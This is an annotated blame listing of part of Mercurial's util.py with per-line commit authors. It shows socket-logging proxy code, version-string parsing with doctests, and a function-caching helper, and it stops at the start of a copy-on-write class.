d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   897
                self.name, size, flags, len(res[0])))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   898
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   899
        self._writedata(res[0])
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   900
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   901
    def recvfrom_into(self, res, buf, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   902
        if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   903
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   904
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   905
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   906
            self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   907
                self.name, size, flags, res[0]))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   908
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   909
        self._writedata(buf[0:res[0]])
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   910
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   911
    def recv_into(self, res, buf, size=0, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   912
        if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   913
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   914
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   915
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   916
            self.fh.write('%s> recv_into(%d, %d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   917
                self.name, size, flags, res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   918
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   919
        self._writedata(buf[0:res])
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   920
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   921
    def send(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   922
        if not self.writes:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   923
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   924
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   925
        self.fh.write('%s> send(%d, %d) -> %d' % (
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   926
            self.name, len(data), flags, len(res)))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   927
        self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   928
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   929
    def sendall(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   930
        if not self.writes:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   931
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   932
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   933
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   934
            # Returns None on success. So don't bother reporting return value.
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   935
            self.fh.write('%s> sendall(%d, %d)' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   936
                self.name, len(data), flags))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   937
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   938
        self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   939
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   940
    def sendto(self, res, data, flagsoraddress, address=None):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   941
        if not self.writes:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   942
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   943
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   944
        if address:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   945
            flags = flagsoraddress
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   946
        else:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   947
            flags = 0
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   948
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   949
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   950
            self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   951
                self.name, len(data), flags, address, res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   952
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   953
        self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   954
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   955
    def setblocking(self, res, flag):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   956
        if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   957
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   958
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   959
        self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   960
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   961
    def settimeout(self, res, value):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   962
        if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   963
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   964
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   965
        self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   966
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   967
    def gettimeout(self, res):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   968
        if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   969
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   970
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   971
        self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   972
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   973
    def setsockopt(self, level, optname, value):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   974
        if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   975
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   976
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   977
        self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   978
            self.name, level, optname, value))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   979
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   980
def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   981
                      logdata=False, logdataapis=True):
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   982
    """Turn a socket into a logging socket."""
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   983
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   984
    observer = socketobserver(logh, name, reads=reads, writes=writes,
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   985
                              states=states, logdata=logdata,
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   986
                              logdataapis=logdataapis)
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   987
    return socketproxy(fh, observer)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   988
7632
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   989
def version():
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   990
    """Return version information if available."""
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   991
    try:
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
   992
        from . import __version__
7632
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   993
        return __version__.version
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   994
    except ImportError:
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   995
        return 'unknown'
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   996
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   997
def versiontuple(v=None, n=4):
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   998
    """Parses a Mercurial version string into an N-tuple.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   999
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1000
    The version string to be parsed is specified with the ``v`` argument.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1001
    If it isn't defined, the current Mercurial version string will be parsed.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1002
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1003
    ``n`` can be 2, 3, or 4. Here is how some version strings map to
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1004
    returned values:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1005
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1006
    >>> v = b'3.6.1+190-df9b73d2d444'
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1007
    >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1008
    (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1009
    >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1010
    (3, 6, 1)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1011
    >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1012
    (3, 6, 1, '190-df9b73d2d444')
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1013
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1014
    >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1015
    (3, 6, 1, '190-df9b73d2d444+20151118')
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1016
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1017
    >>> v = b'3.6'
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1018
    >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1019
    (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1020
    >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1021
    (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1022
    >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1023
    (3, 6, None, None)
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1024
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1025
    >>> v = b'3.9-rc'
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1026
    >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1027
    (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1028
    >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1029
    (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1030
    >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1031
    (3, 9, None, 'rc')
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1032
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1033
    >>> v = b'3.9-rc+2-02a8fea4289b'
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1034
    >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1035
    (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1036
    >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1037
    (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1038
    >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1039
    (3, 9, None, 'rc+2-02a8fea4289b')
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1040
    """
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1041
    if not v:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1042
        v = version()
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
  1043
    parts = remod.split('[\+-]', v, 1)
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1044
    if len(parts) == 1:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1045
        vparts, extra = parts[0], None
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1046
    else:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1047
        vparts, extra = parts
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1048
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1049
    vints = []
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1050
    for i in vparts.split('.'):
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1051
        try:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1052
            vints.append(int(i))
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1053
        except ValueError:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1054
            break
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1055
    # (3, 6) -> (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1056
    while len(vints) < 3:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1057
        vints.append(None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1058
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1059
    if n == 2:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1060
        return (vints[0], vints[1])
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1061
    if n == 3:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1062
        return (vints[0], vints[1], vints[2])
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1063
    if n == 4:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1064
        return (vints[0], vints[1], vints[2], extra)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
  1065
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1066
def cachefunc(func):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1067
    '''cache the result of function calls'''
3147
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
  1068
    # XXX doesn't handle keywords args
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
  1069
    if func.__code__.co_argcount == 0:
20835
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
  1070
        cache = []
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
  1071
        def f():
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
  1072
            if len(cache) == 0:
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
  1073
                cache.append(func())
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
  1074
            return cache[0]
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
  1075
        return f
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1076
    cache = {}
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
  1077
    if func.__code__.co_argcount == 1:
3147
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
  1078
        # we gain a small amount of time because
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
  1079
        # we don't need to pack/unpack the list
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1080
        def f(arg):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1081
            if arg not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1082
                cache[arg] = func(arg)
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1083
            return cache[arg]
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1084
    else:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1085
        def f(*args):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1086
            if args not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1087
                cache[args] = func(*args)
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1088
            return cache[args]
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1089
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1090
    return f
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
  1091
34358
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1092
class cow(object):
c41444a39de2 config: use copy-on-write to improve copy performance
